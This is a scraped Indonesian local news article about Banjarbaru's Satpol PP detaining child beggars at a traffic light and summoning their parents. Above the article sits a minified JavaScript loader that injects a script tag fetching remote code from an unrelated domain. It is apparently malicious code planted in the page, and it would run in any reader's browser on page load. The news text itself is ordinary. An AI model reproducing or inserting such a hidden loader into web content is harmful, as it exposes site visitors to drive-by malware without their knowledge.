(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu lalulintas atau traffic light Jalan A Yani Km 33 Loktabat Kota Banjarbaru, Kalimantan Selatan (Kalsel), digaruk anggota Satpol PP.
Selasa (7/5/2024) sore, tiga anak kucing-kucingan dengan anggota Satpol PP Banjarbary saat hendak dibawa hingga membuat geram petugas.
Dua di antara anak berhasil ditangkap petugas Satpol PP Banjarbaru untuk dititipkan ke rumah singgah Dinas Sosial Banjarbaru, sebelum mereka dipanggil orangtuanya.
Baca juga: Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru
Kasatpol PP Banjarbaru, Hidayaturahman mengatakan, anak-anak pengemis tersebut sudah beberapa kali didapati petugas kemudian diamankan untuk dipanggil orangtuanya, namun masih saja membuat ulah.
“Kembali kita menemukan pengemis anak-anak yang sudah pernah diamankan, dan kita amankan kembali karena mengingat anak tersebut sangat kecil untuk berada di jalanan,” ungkap Kasatpol PP Banjarbaru, Selasa (7/5/2024) sore.
Lebih lanjut dijelaskan Dayat -sapaan akrabnya-, orangtua yang diduga memperkerjakan anak kecil itu akan dihadapkan ke Mako Satpol PP Banjarbaru pada Rabu (8/5/2024.).
Baca juga: WTP Ke-11 untuk Pemkab Banjar, Wabup Banjar: Ini Kerja Tulus Semua Perangkat Daerah
“Kita panggil kembali orangtuanya untuk kita berikan pencerahan dan pembinaan agar mendidik anaknya dengan lebih baik,” jelas dia.
Mengingat kali kesekian orangtua dipanggil, tidak menutup kemungkinan kata dia, orangtua dari anak pengemis tersebut diberikan sanksi yang lebih berat.
“Akan kita minta orangtua membuat pernyataan, apabila masih didapati kemudian hari kita terapkan sanksi yang lebih tegas,” sambungnya.
Dirinya mengakui tentang PMKS yang banyak berseliweran dalam beberapa pekan terakhir di kawasan lampu merah.
Modus mereka mengemis bermacam-macam dan dengan wujud berbeda, termasuk yang mengeksploitasi anak kecil.
Baca juga: Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP
“Memang saat ini di Banjarbaru marak sekali PMKS di lampu merah, baik itu pengemis, pengamen maupun pekerja yang memberikan jasa membersihkan mobil,” ungkapnya.
Hal tersebut, sambung dia, membuat Satpol PP merapatkan barisan untuk melakukan penertiban berkala.
“Tetap akan kita tindak kita tertibkan secara berkala bahkan saat hari libur kami menempatkan personel-personel di titik yang kami anggap rawan kegiatan PMKS,” tuntas Dayat. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Dalam rangka memperkuat sinergi dan konsolidasi program pembangunan infrastruktur lintas sektor dan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Banjar menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kementerian Hukum (Kemenkum) RI mengapresiasi sarana prasarana (sarpras) di Pos Bantuan Hukum… Read More
KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More
KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
This website uses cookies.